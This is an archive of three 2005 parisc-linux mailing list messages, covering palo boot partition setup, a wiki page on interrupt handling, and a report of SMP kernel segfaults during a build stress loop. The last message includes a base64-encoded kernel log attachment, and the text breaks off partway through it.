Original-Received: (qmail 28330 invoked from network); 6 Jan 2005 14:12:49 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 6 Jan 2005 14:12:49 -0500
Original-Received: (qmail 2129 invoked from network); 6 Jan 2005 14:12:33 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 6 Jan 2005 14:12:33 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <1105037770.4319.60.camel@mulgrave>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25085

On Thursday 06 January 2005 01:56 pm, James Bottomley wrote:
> On Thu, 2005-01-06 at 13:31 -0500, Mike Frysinger wrote:
> > > One theory I have is that the instruction guide never told me where to
> > > mount the f0 partition.  So far as the computer knows, it's just
> > > sitting there, probably not being written to.
> >
> > that's because you cant mount it.  running palo takes care of all that
> > magic.
>
> Actually, that's not necessarily true.  If you have palo version 1.4 or
> later, then the palo partition can be formatted as ext2/ext3 and mounted
> just like any other partition.
>
> However, by default palo will create unmountable partitions.

touche salesman ;)
lemme rephrase ... the default gentoo setup is such that you never have to 
mount the partition ... setup /etc/palo.conf and run palo
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Interrupt handling documentation
Date: Sat, 8 Jan 2005 20:33:03 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20050108203303.GG27371@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624529 26654 80.91.229.3 (22 Nov 2014 02:48:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2005 20:33:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 08 Jan 2005 21:33:37 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 322C83BE72; Sat,  8 Jan 2005 13:33:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25079-08; Sat, 8 Jan 2005 13:33:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 89F2B3BE74; Sat,  8 Jan 2005 13:33:20 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81FFF3BE71
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Jan 2005 13:33:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25079-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Jan 2005 13:33:05 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6F8F63BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Jan 2005 13:33:05 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 230224952B5; Sat,  8 Jan 2005 13:33:05 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id CD27E4952B3
	for <parisc-linux@parisc-linux.org>;
	Sat,  8 Jan 2005 13:33:04 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CnNGh-0006VZ-4W
	for parisc-linux@parisc-linux.org; Sat, 08 Jan 2005 20:33:03 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25086


I thought I should send a note to the mailing list about the interrupt
work I've been doing.  Then I thought, "No, I should use the Wiki".  So
I did ...

http://wiki.parisc-linux.org/Interrupts

Feel free to make corrections or send me comments on stuff that isn't clear.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.11-rc3-pa3 smp "Segmentation fault" but not up
Date: Sat, 15 Jan 2005 14:02:00 +0000
Lines: 589
Approved: news@gmane.org
Message-ID: <41E92258.60006@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------060808020302080701020707"
X-Trace: ger.gmane.org 1416624529 26656 80.91.229.3 (22 Nov 2014 02:48:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:49 +0000 (UTC)
To: List Parisc <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2005 14:03:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 15 Jan 2005 15:03:26 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 89D783BE79; Sat, 15 Jan 2005 07:03:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29057-05; Sat, 15 Jan 2005 07:02:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 025883BE71; Sat, 15 Jan 2005 07:02:15 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C3A73BE6D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 07:02:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29057-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 07:02:06 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 259E83BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 07:02:06 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id BE62A495BA9; Sat, 15 Jan 2005 07:02:05 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id CB055495BA8
	for <parisc-linux@parisc-linux.org>;
	Sat, 15 Jan 2005 07:02:04 -0700 (MST)
Original-Received: from [83.134.228.131] (helo=[83.134.228.131])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CpoV7-0002Fm-3R; Sat, 15 Jan 2005 15:02:03 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25087

This is a multi-part message in MIME format.
--------------060808020302080701020707
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

To stress a bit kernel I launch my usual loop test on the n4k (2way, 4Gb ram):
# while true ; do readprofile -r ; make $OPTB clean ; make $OPTB oldconfig; make -j2 $OPTB vmlinux 2>&1 | tee -a /var/logs/k-loop; 
readprofile >> /var/logs/prof-loop.doc ; done

With previous kernel it makes panic kernel hazardiously from 1 to more 200 occurences. With this 2.6.11-rc3-pa3 after about 49 runs 
some "Segmentation fault" occures:
make[3]: *** [drivers/pci/probe.o] Segmentation fault
make[3]: *** [drivers/block/ioctl.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/fpudispatch.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/driver.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/driver.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/frnd.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/driver.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/denormal.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/frnd.o] Segmentation fault
make[3]: *** [drivers/md/raid0.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/driver.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/driver.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/frnd.o] Segmentation fault
make[2]: *** [arch/parisc/math-emu/frnd.o] Segmentation fault

for some child's shell (I attached dmesg because very long).

I so stop this loop to reboot with same kernel but up build and relaunch the loop.
After about 12h it already runs 80 times without any segmantation fault.

Any idea?

Thanks,
     Joel

PS: this last was build with gcc-3.3-hppa64 and binutils-hppa64 while previous was build with hppa64-gcc-3.0 and same binutils

--------------060808020302080701020707
Content-Type: application/msword;
 name="PageFault.doc"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="PageFault.doc"

SmFuIDEzIDIzOjM2OjM2IHBhdHN0MDA2IGtlcm5lbDogCkphbiAxMyAyMzozNjozNiBwYXRz
dDAwNiBrZXJuZWw6IGRvX3BhZ2VfZmF1bHQoKSBwaWQ9MTExMzAgY29tbWFuZD0nc2gnIHR5
cGU9MTUgYWRkcmVzcz0weDAwMDAwYjQxCkphbiAxMyAyMzozNjozNiBwYXRzdDAwNiBrZXJu
ZWw6IApKYW4gMTMgMjM6MzY6MzYgcGF0c3QwMDYga2VybmVsOiAgICAgIFlacnZXRVNUSExO
WEJDVk1jYmNiY2JjYk9HRlJRUERJCkphbiAxMyAyMzozNjozNiBwYXRzdDAwNiBrZXJuZWw6
IFBTVzogMDAwMDAwMDAwMDAwMDExMDAwMDAwMDAwMDAwMDExMTEgTm90IHRhaW50ZWQKSmFu
IDEzIDIzOjM2OjM2IHBhdHN0MDA2IGtlcm5lbDogcjAwLTAzICAwMDAwMDAwMDAwMDAwMDAw
IDAwMDAwMDAwMDAwZTI4MDggMDAwMDAwMDA0MDJkOWM1MyAwMDAwMDAwMGJmZjAzZTQwCkph
biAxMyAyMzozNjozNiBwYXRzdDAwNiBrZXJuZWw6IHIwNC0wNyAgMDAwMDAwMDAwMDBlMjgw
MCAwMDAwMDAwMDAwMDAwYjNkIDAwMDAwMDAwMDAwZTI4MDggMDAwMDAwMDAwMDBkOGEyOApK
YW4gMTMgMjM6MzY6MzYgcGF0c3QwMDYga2VybmVsOiByMDgtMTEgIDAwMDAwMDAwMDAwMDAw
MTggMDAwMDAwMDAwMDAwMDAwMCAwMDAwMDAwMDAwMDAwMDAwIDAwMDAwMDAwMDAwZDhmYWUK
SmFuIDEzIDIzOjM2OjM2IHBhdHN0MDA2IGtlcm5lbDogcjEyLTE1ICAwMDAwMDAwMDAwMDQx
NjU4IDAwMDAwMDAwMDAwMDAwMDIgMDAwMDAwMDAwMDA1YTcwOCAwMDAwMDAwMDAwMDU3MDQw
CkphbiAxMyAyMzozNjozNiBwYXRzdDAwNiBrZXJuZWw6IHIxNi0xOSAgMDAwMDAwMDAwMDA0
MjY1OCAwMDAwMDAwMDAwMDAwMDAwIDAwMDAwMDAwMDAwMDAwMDAgMDAwMDAwMDA0MDJmNDcy
NApKYW4gMTMgMjM6MzY6MzYgcGF0c3QwMDYga2VybmVsOiByMjAtMjMgIDAwMDAwMDAwMDAw
ZDhhZDAgMDAwMDAwMDAwMDAwMDAyMSAwMDAwMDAwMDAwMGQ4YWQ4IDAwMDAwMDAwMDAwMTJl
OTgKSmFuIDEzIDIzOjM2OjM2IHBhdHN0MDA2IGtlcm5lbDogcjI0LTI3ICAwMDAwMDAwMDAw
MDAwMDA1IDAwMDAwMDAwMDAwMDBiMWMgMDAwMDAwMDA0MDJmNWRkMCAwMDAwMDAwMDAwMGQz
NjYwCkphbiAxMyAyMzozNjozNiBwYXRzdDAwNiBrZXJuZWw6IHIyOC0zMSAgMDAwMDAwMDA0
MDJmNWRkMCAwMDAwMDAwMDAwMDAwMDAwIDAwMDAwMDAwYmZmMDNmMDAgMDAwMDAwMDA0MDlj
YjA2NwpKYW4gMTMgMjM6MzY6MzYgcGF0c3QwMDYga2VybmVsOiBzcjAtMyAgIDAwMDAwMDAw
MGE1MWY4MDAgMDAwMDAwMDAwYTUxZjgwMCAwMDAwMDAwMDAwMDAwMDAwIDAwMDAwMDAwMGE1
MWY4MDAKSmFuIDEzIDIzOjM2OjM2IHBhdHN0MDA2IGtlcm5lbDogc3I0LTcgICAwMDAwMDAw
MDBhNTFmODAwIDAwMDAwMDAwMGE1MWY4MDAgMDAwMDAwMDAwYTUxZjgwMCAwMDAwMDAwMDBh
NTFmODAwCkphbiAxMyAyMzozNjozNiBwYXRzdDAwNiBrZXJuZWw6IApKYW4gMTMgMjM6MzY6
MzYgcGF0c3QwMDYga2VybmVsOiBJQVNROiAwMDAwMDAwMDBhNTFmODAwIDAwMDAwMDAwMGE1
MWY4MDAgSUFPUTogMDAwMDAwMDA0MDJkOThhNyAwMDAwMDAwMDQwMmQ5OGFiCkphbiAxMyAy
MzozNjozNiBwYXRzdDAwNiBrZXJuZWw6ICBJSVI6IDBjYTgxMDk1ICAgIElTUjogMDAwMDAw
MDAwYTUxZjgwMCAgSU9SOiAwMDAwMDAwMDAwMDAwYjQxCkphbiAxMyAyMzozNjozNiBwYXRz
dDAwNiBrZXJuZWw6ICBDUFU6ICAgICAgICAwICAgQ1IzMDogMDAwMDAwMDA3YzAwMDAwMCBD
UjMxOiAwMDAwMDAwMDEwNWI0MDAwCkphbiAxMyAyMzozNjozNiBwYXRzdDAwNiBrZXJuZWw6
ICBPUklHX1IyODogMDAwMDAwMDAwMDAwMDAwMApKYW4gMTMgMjM6MzY6MzYgcGF0c3QwMDYg
a2VybmVsOiAgSUFPUVswXTogcnNjX3RhYmxlKzB4MmZjM2Q4NDcvMHgyMDAwCkphbiAxMyAy
MzozNjozNiBwYXRzdDAwNiBrZXJuZWw6ICBJQU9RWzFdOiByc2NfdGFibGUrMHgyZmMzZDg0
Yi8weDIwMDAKSmFuIDEzIDIzOjM2OjM2IHBhdHN0MDA2IGtlcm5lbDogIFJQKHIyKTogcnNj
X3RhYmxlKzB4MmZjM2RiZjMvMHgyMDAwCkphbiAxNCAwMDozMjo0NSBwYXRzdDAwNiBrZXJu
ZWw6IApKYW4gMTQgMDA6MzI6NDUgcGF0c3QwMDYga2VybmVsOiBkb19wYWdlX2ZhdWx0KCkg
cGlkPTI2MTQwIGNvbW1hbmQ9J3NoJyB0eXBlPTE1IGFkZHJlc3M9MHgwMDAwMDk3MQpKYW4g
MTQgMDA6MzI6NDUgcGF0c3QwMDYga2VybmVsOiAKSmFuIDE0IDAwOjMyOjQ1IHBhdHN0MDA2
IGtlcm5lbDogICAgICBZWnJ2V0VTVEhMTlhCQ1ZNY2JjYmNiY2JPR0ZSUVBESQpKYW4gMTQg
MDA6MzI6NDUgcGF0c3QwMDYga2VybmVsOiBQU1c6IDAwMDAwMDAwMDAwMDAxMTAxMTExMTEx
MTAwMDAxMTExIE5vdCB0YWludGVkCkphbiAxNCAwMDozMjo0NSBwYXRzdDAwNiBrZXJuZWw6
IHIwMC0wMyAgMDAwMDAwMDAwMDAwMDAwMCAwMDAwMDAwMDAwMGQ0NWFjIDAwMDAwMDAwNDAy
ZDljNTMgMDAwMDAwMDBiZmYwMWY4MApKYW4gMTQgMDA6MzI6NDUgcGF0c3QwMDYga2VybmVs
OiByMDQtMDcgIDAwMDAwMDAwNDBhYmE4MTggMDAwMDAwMDAwMDAyMzEyNCAwMDAwMDAwMDAw
MGQ5OGVjIDAwMDAwMDAwMDAwZTMwMDgKSmFuIDE0IDAwOjMyOjQ1IHBhdHN0MDA2IGtlcm5l
bDogcjA4LTExICAwMDAwMDAwMDAwMDAwMDE4IDAwMDAwMDAwMDAwMDAwMDEgMDAwMDAwMDAw
MDAwMDAwMSAwMDAwMDAwMDAwMGQ0NTk0CkphbiAxNCAwMDozMjo0NSBwYXRzdDAwNiBrZXJu
ZWw6IHIxMi0xNSAgMDAwMDAwMDAwMDAwMDAwMiAwMDAwMDAwMDAwMGQ4ZmFlIDAwMDAwMDAw
MDAwZTMwMDggMDAwMDAwMDAwMDBkNDU5NApKYW4gMTQgMDA6MzI6NDUgcGF0c3QwMDYga2Vy
bmVsOiByMTYtMTkgIDAwMDAwMDAwMDAwNDI2NTggMDAwMDAwMDAwMDAwMDAwMCAwMDAwMDAw
MDAwMDAwMDAwIDAwMDAwMDAwNDAyZjQ3MjQKSmFuIDE0IDAwOjMyOjQ1IHBhdHN0MDA2IGtl
cm5lbDogcjIwLTIzICAwMDAwMDAwMDAwMGQ4YjQwIDAwMDAwMDAwMDAwMDAwMTEgMDAwMDAw
MDA0MDAwMGEyMCAwMDAwMDAwMDAwMDE3OTk4CkphbiAxNCAwMDozMjo0NSBwYXRzdDAwNiBr
ZXJuZWw6IHIyNC0yNyAgMDAwMDAwMDAwMDAwMDRiMCAwMDAwMDAwMDAwMDAwYzkwIDAwMDAw
MDAwMDAwMTc5OTggMDAwMDAwMDAwMDBkMzY2MApKYW4gMTQgMDA6MzI6NDUgcGF0c3QwMDYg
a2VybmVsOiByMjgtMzEgIDAwMDAwMDAwNDAyZjVkZDAgMDAwMDAwMDAwMDAwMDAwMCAwMDAw
MDAwMGJmZjAyMDQwIDAwMDAwMDAwMDAwMWEzZDgKSmFuIDE0IDAwOjMyOjQ1IHBhdHN0MDA2
IGtlcm5lbDogc3IwLTMgICAwMDAwMDAwMDBkZmEwODAwIDAwMDAwMDAwMGRmYTA4MDAgMDAw
MDAwMDAwMDAwMDAwMCAwMDAwMDAwMDBkZmEwODAwCkphbiAxNCAwMDozMjo0NSBwYXRzdDAw
NiBrZXJuZWw6IHNyNC03ICAgMDAwMDAwMDAwZGZhMDgwMCAwMDAwMDAwMDBkZmEwODAwIDAw
MDAwMDAwMGRmYTA4MDAgMDAwMDAwMDAwZGZhMDgwMApKYW4gMTQgMDA6MzI6NDUgcGF0c3Qw
MDYga2VybmVsOiAKSmFuIDE0IDAwOjMyOjQ1IHBhdHN0MDA2IGtlcm5lbDogSUFTUTogMDAw
MDAwMDAwZGZhMDgwMCAwMDAwMDAwMDBkZmEwODAwIElBT1E6IDAwMDAwMDAwNDAyZDk4ZjMg
MDAwMDAwMDA0MDJkOThmNwpKYW4gMTQgMDA6MzI6NDUgcGF0c3QwMDYga2VybmVsOiAgSUlS
OiAwZWI4MjA1NCAgICBJU1I6IDAwMDAwMDAwMGRmYTA4MDAgIElPUjogMDAwMDAwMDAwMDAw
MDk3MQpKYW4gMTQgMDA6MzI6NDUgcGF0c3QwMDYga2VybmVsOiAgQ1BVOiAgICAgICAgMCAg
IENSMzA6IDAwMDAwMDAwN2U3OGMwMDAgQ1IzMTogMDAwMDAwMDAxMDViNDAwMApKYW4gMTQg
MDA6MzI6NDUgcGF0c3QwMDYga2VybmVsOiAgT1JJR19SMjg6IDAwMDAwMDAwMDAwMDAwMDAK
SmFuIDE0IDAwOjMyOjQ1IHBhdHN0MDA2IGtlcm5lbDogIElBT1FbMF06IHJzY190YWJsZSsw
eDJmYzNkODkzLzB4MjAwMApKYW4gMTQgMDA6MzI6NDUgcGF0c3QwMDYga2VybmVsOiAgSUFP
UVsxXTogcnNjX3RhYmxlKzB4MmZjM2Q4OTcvMHgyMDAwCkphbiAxNCAwMDozMjo0NSBwYXRz
dDAwNiBrZXJuZWw6ICBSUChyMik6IHJzY190YWJsZSsweDJmYzNkYmYzLzB4MjAwMApKYW4g
MTQgMDg6Mzg6MDggcGF0c3QwMDYga2VybmVsOiAKSmFuIDE0IDA4OjM4OjA4IHBhdHN0MDA2
IGtlcm5lbDogZG9fcGFnZV9mYXVsdCgpIHBpZD0zOTg5IGNvbW1hbmQ9J3NoJyB0eXBlPTYg
YWRkcmVzcz0weDAwMDAwMDEzCkphbiAxNCAwODozODowOCBwYXRzdDAwNiBrZXJuZWw6IApK
YW4gMTQgMDg6Mzg6MDggcGF0c3QwMDYga2VybmVsOiAgICAgIFlacnZXRVNUSExOWEJDVk1j
YmNiY2JjYk9HRlJRUERJCkphbiAxNCAwODozODowOCBwYXRzdDAwNiBrZXJuZWw6IFBTVzog
MDAwMDAwMDAwMDAwMDEwMDExMTExMTExMDAwMDExMTEgTm90IHRhaW50ZWQKSmFuIDE0IDA4
OjM4OjA4IHBhdHN0MDA2IGtlcm5lbDogcjAwLTAzICAwMDAwMDAwMDAwMDAwMDAwIDAwMDAw
MDAwNDAyMTdkZTggMDAwMDAwMDA0MDFmOGM5NyAwMDAwMDAwMDQwMjE3ZGUwCkphbiAxNCAw
ODozODowOCBwYXRzdDAwNiBrZXJuZWw6IHIwNC0wNyAgMDAwMDAwMDA0MDIxODc1NCAwMDAw
MDAwMDAwMDAwMDExIDAwMDAwMDAwNDAyZjVkYmMgMDAwMDAwMDBiZmYwMThhNApKYW4gMTQg
MDg6Mzg6MDggcGF0c3QwMDYga2VybmVsOiByMDgtMTEgIDAwMDAwMDAwYmZmMDE4OTQgMDAw
MDAwMDAwMDAwMDAwMyAwMDAwMDAwMDAwMDAwMDAzIDAwMDAwMDAwMDAwNDE2NTgKSmFuIDE0
IDA4OjM4OjA4IHBhdHN0MDA2IGtlcm5lbDogcjEyLTE1ICAwMDAwMDAwMDAwMDQxNjU4IDAw
MDAwMDAwMDAwMDAwMDIgMDAwMDAwMDAwMDA1ZGJmOCAwMDAwMDAwMDAwMDU0NDMwCkphbiAx
NCAwODozODowOCBwYXRzdDAwNiBrZXJuZWw6IHIxNi0xOSAgMDAwMDAwMDAwMDA0MjY1OCAw
MDAwMDAwMDAwMDAwMDAwIDAwMDAwMDAwMDAwMDAwMDAgMDAwMDAwMDA0MDIxODc1NApKYW4g
MTQgMDg6Mzg6MDggcGF0c3QwMDYga2VybmVsOiByMjAtMjMgIDAwMDAwMDAwMDAwMDEwMDAg
MDAwMDAwMDAwMDAwMDAwMCAwMDAwMDAwMDAwMDAwMDExIDAwMDAwMDAwMDAwMDAwMDEKSmFu
IDE0IDA4OjM4OjA4IHBhdHN0MDA2IGtlcm5lbDogcjI0LTI3ICAwMDAwMDAwMGJmZjAxOGE0
IDAwMDAwMDAwYmZmMDE4OTQgZmZmZmZmZmZmZmZmZmZmZiAwMDAwMDAwMDAwMGQzNjYwCkph
biAxNCAwODozODowOCBwYXRzdDAwNiBrZXJuZWw6IHIyOC0zMSAgZmZmZmZmZmZmZmZmZmZm
ZiAwMDAwMDAwMDAwMDAwMDQ5IDAwMDAwMDAwYmZmMDFjODAgMDAwMDAwMDA0MDFmOGM5NwpK
YW4gMTQgMDg6Mzg6MDggcGF0c3QwMDYga2VybmVsOiBzcjAtMyAgIDAwMDAwMDAwMDAxNGUw
MDAgMDAwMDAwMDAwMDE0ZTAwMCAwMDAwMDAwMDAwMDAwMDAwIDAwMDAwMDAwMDAxNGUwMDAK
SmFuIDE0IDA4OjM4OjA4IHBhdHN0MDA2IGtlcm5lbDogc3I0LTcgICAwMDAwMDAwMDAwMTRl
MDAwIDAwMDAwMDAwMDAxNGUwMDAgMDAwMDAwMDAwMDE0ZTAwMCAwMDAwMDAwMDAwMTRlMDAw
CkphbiAxNCAwODozODowOCBwYXRzdDAwNiBrZXJuZWw6IApKYW4gMTQgMDg6Mzg6MDggcGF0
c3QwMDYga2VybmVsOiBJQVNROiAwMDAwMDAwMDAwMTRlMDAwIDAwMDAwMDAwMDAxNGUwMDAg
SUFPUTogMDAwMDAwMDAwMDAwMDAxMyAwMDAwMDAwMDAwMDAwMDE3CkphbiAxNCAwODozODow
OCBwYXRzdDAwNiBrZXJuZWw6ICBJSVI6IDQzZmZmZjgwICAgIElTUjogMDAwMDAwMDAwMDE0
ZTAwMCAgSU9SOiAwMDAwMDAwMDQwYWJkYWVjCkphbiAxNCAwODozODowOCBwYXRzdDAwNiBr
ZXJuZWw6ICBDUFU6ICAgICAgICAwICAgQ1IzMDogMDAwMDAwMDA2ODNhMDAwMCBDUjMxOiAw
MDAwMDAwMDEwNWI0MDAwCkphbiAxNCAwODozODowOCBwYXRzdDAwNiBrZXJuZWw6ICBPUklH
